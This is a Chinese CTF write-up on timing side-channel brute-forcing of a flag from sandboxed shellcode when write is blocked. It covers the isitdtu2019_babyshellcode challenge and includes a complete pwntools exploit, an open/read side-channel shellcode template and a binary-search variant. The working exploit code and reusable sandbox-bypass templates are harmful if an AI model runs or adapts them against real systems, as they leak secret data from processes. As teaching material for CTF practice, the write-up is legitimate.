0x00 关于侧信道攻击

侧信道攻击(Side-Channel Attack)是一类不直接破解算法本身,而是通过分析系统在运行过程中泄露的物理信息来推测机密数据的攻击方式。
常见的侧信道信息包括:
时间(Time):执行时间的差异可能泄露数据,比如加密运算时间与密钥值有关。
功耗(Power):芯片运算时功耗变化可反推出密钥(DPA/SPA)。
电磁辐射(EM):运行时发出的电磁波可被采集分析。
声学(Acoustic):设备运行的声音差异可能泄露信息(如打印机、键盘声)。
缓存行为(Cache):缓存命中/缺失模式可被利用(如 Spectre、Meltdown)。
—- 摘取自ChatGPT-5

0x01 pwn中的侧信道爆破

在pwn中,侧信道攻击的主要应用通常就是shellcode领域的侧信道爆破
什么时候使用侧信道爆破呢?在能使用shellcode直接getshell时当然不需要,在沙箱环境下可以orw时候自然也不需要,然而,如果write也被禁用怎么办呢?这时候就可以使用侧信道爆破了
我们使用openread来讲flag读取到一片可读写的内存上,然后布置一段爆破flag的shellcode
我们通过cmp指令来判断给出的一个字符和flag的对应位是否相同,相同则跳回cmp指令处,这样如果这一位正确,那么程序便会进入死循环,我们判断一秒内是否接收到信息来判断程序是否死循环,便得知这一位是否正确

0x02 isitdtu2019_babyshellcode

参考Isitdtu2019_babyshellcode | roderick - record and learn! (似乎就是提出house of apple的大师傅)
先放题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
signed __int64 __fastcall sub_AA0(__int64 a1, __int64 a2, __int64 a3)
{
signed __int64 result; // rax
signed __int64 v4; // rax
signed __int64 v5; // rax
signed __int64 v6; // rax
signed __int64 v7; // rax
__int64 v8; // rbx
unsigned __int64 i; // rcx
__int128 v10; // [rsp-8h] [rbp-20h] BYREF
__int64 v11; // [rsp+8h] [rbp-10h] BYREF
__int64 v12; // [rsp+10h] [rbp-8h] BYREF

v11 = a2;
*((_QWORD *)&v10 + 1) = a3;
v12 = 0x67616C662FLL;
result = sys_access((const char *)&v12, 0);
if ( !result )
{
v4 = sys_mmap(0xCAFE000uLL, 0x1000uLL, 7uLL, 0x32uLL, 0LL, 0LL);
v11 = 0x67616C662FLL;
v5 = sys_open((const char *)&v11, 0, 0);
v6 = sys_read(v5, (char *)0xCAFE000, 0x30uLL);
BYTE13(v10) = 0;
HIWORD(v10) = 0;
strcpy((char *)&v10, "/dev/urandom");
v7 = sys_read(sys_open((const char *)&v10, 0, 0), (char *)0xCAFE050, 8uLL);
v8 = MEMORY[0xCAFE050];
for ( i = 212852736LL; i < 0xCAFE030; i += 8LL )
*(_QWORD *)i ^= v8;
result = 0LL;
MEMORY[0xCAFE050] = 0LL;
}
return result;
}

这里将flag读取到了0xCAFE000,然后取了八字节随机值存储于0xCAFE050作为key,接着将flag每八字节异或key,是一个非常简单的加密,异或是可逆的
我们这里有一个预先信息就是flag是GUID值,那么flag长度便是0x2a,并且flag{}中的值只可能是0123456789abcdef-中的一个(此题的特例,正常如果未知的话还是要爆破所有可打印字符的)
那么我们的思路就是先还原出key,再利用key来还原flag
我们知道flag的前四字节肯定是“flag”,那么将0xCAFE000的前四字节异或上”flag”便可以还原出key的前四字节,然后由于flag的长度原因,其0x30的空间并没有全部填满,后续都是0,那么与0异或是不会改变原值的,那么0xCAFE0000xCAFE030的最后四字节便是key,于是我们得到了key,那么再对0xCAFE0000xCAFE030每八字节按位异或key便还原了flag,接下来就是侧信道爆破了
主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *dest; // [rsp+0h] [rbp-10h]

dest = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( dest == (char *)-1LL )
{
perror("Could not mmap");
return 1LL;
}
else
{
sub_BFA();
memcpy(dest, &unk_202020, 0x27uLL);
sub_C39(dest + 39, 70LL);
sub_BB5();
((void (*)(void))dest)();
return 0LL;
}
}

就是执行我们输入的shellcode,但是禁止了除了alarm以外的系统调用,我们可以先调用alarm将时间限制取消
注意unk_202020处的指令会先执行,将寄存器基本全部清空了
我们直接放exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6_2.27-3ubuntu1.6_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "node5.buuoj.cn"
port = 27189
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6-dbg_2.27-3ubuntu1.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/glibc-source_2.27-3ubuntu1.6_all/usr/src/glibc/glibc-2.27
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


#io = start()

# Your exploit here
shellcode = '''
mov al, 0x25
syscall

mov ebp, 0xcafe000
mov eax, dword ptr [rbp]
xor eax, 0x67616c66
mov ebx, dword ptr [rbp+0x2c]
shl rbx, 32
or rbx, rax

L1:
xor qword ptr [rbp + 8 * rdx], rbx
inc edx
cmp dl, 6
jnz L1
L2:
cmp byte ptr [rbp + {}], {}
jz L2
'''

idx = 0
flag = ""

for _ in range(0x2a):
err = True
for i in bytearray(b"-{{}}flagbcde0123456789"):
io = start()
io.send(asm(shellcode.format(idx, hex(i))))
if io.can_recv_raw(1):
io.close()
continue
else:
flag += chr(i)
log.success(f"got flag --> {flag}")
io.close()
err = False
break
if err:
error("This round is wrong!")
idx += 1

io.interactive()

我们看到

1
2
3
L2:
cmp byte ptr [rbp + {}], {}
jz L2

这里就是取我们尝试字符与flag的对应位置比较,如果正确则继续比较,这样就会陷入死循环
然后这里

1
if io.can_recv_raw(1):

io.can_recv_raw(timeout)是用于检测timeout时间内是否有套接字可读,我们可以很方便的用于判断程序是否在死循环

0x03

orw缺w进行侧信道爆破的模版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
shellcode = asm(
"""
push 0x67616c66 # 将字符串 'flag' 的 ASCII 值(逆序)压入栈中(0x67616c66 是 'flag' 的十六进制表示,注意低字节优先)
mov rdi, rsp # 将栈顶的地址(即 'flag' 的地址)加载到 rdi 中,作为 open() 的文件名参数
xor esi, esi # 将 esi 清零,等价于将 rsi 置为 0,表示文件权限为只读 (O_RDONLY)
push 2 # 将常数 2 压入栈,用于设置 rax 的值为 2(open 系统调用号)
pop rax # 从栈中弹出值 2 到 rax 中,设置 rax = 2(即 open() 系统调用号)
syscall # 执行 syscall,调用 open(),打开 'flag' 文件
# 如果文件成功打开,文件描述符存储在 rax 中

mov rdi, rax # 将文件描述符(即 open() 返回的 rax 值)存入 rdi,作为 read() 的文件描述符参数
mov rsi, rsp # 将栈顶地址存入 rsi,作为 read() 的缓冲区参数
mov edx, 0x100 # 设置 edx = 0x100(即 256),表示最多读取 256 字节
xor eax, eax # 清零 rax,设置 rax = 0,表示调用 read() 系统调用
syscall # 执行 syscall,调用 read(),读取文件内容到栈上的缓冲区

mov dl, [rsp + {}] # 将栈中偏移 {} 处的一个字节加载到 dl 中,注意 {} 是动态参数(偏移值)
cmp dl, {} # 比较 dl 中的值和 {}(即传入的常量值),注意 {} 是动态参数(要比较的值)
jbe $ # 如果 dl 的值小于等于传入的常量值 {},就陷入死循环($ 表示当前指令地址,导致无限循环)
""".format(i, c)
)

根据具体情境相应调整
然后给出一版二分法优化的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def find(i, c):
global io
io=remote("",)
#io=process('./pwn')
sc=asm("""
mov rax, 0
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rsi, rdi
mov rdi, rax
xor rax, rax
mov rdx, 0x100
syscall
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))
io.send(sc)

try:
io.recv(timeout=3)
io.close()
return True
except EOFError:
io.close()
return False

flag = ''
i=6
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1

if l==0:
break
print(l)
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1

info("flag: "+flag)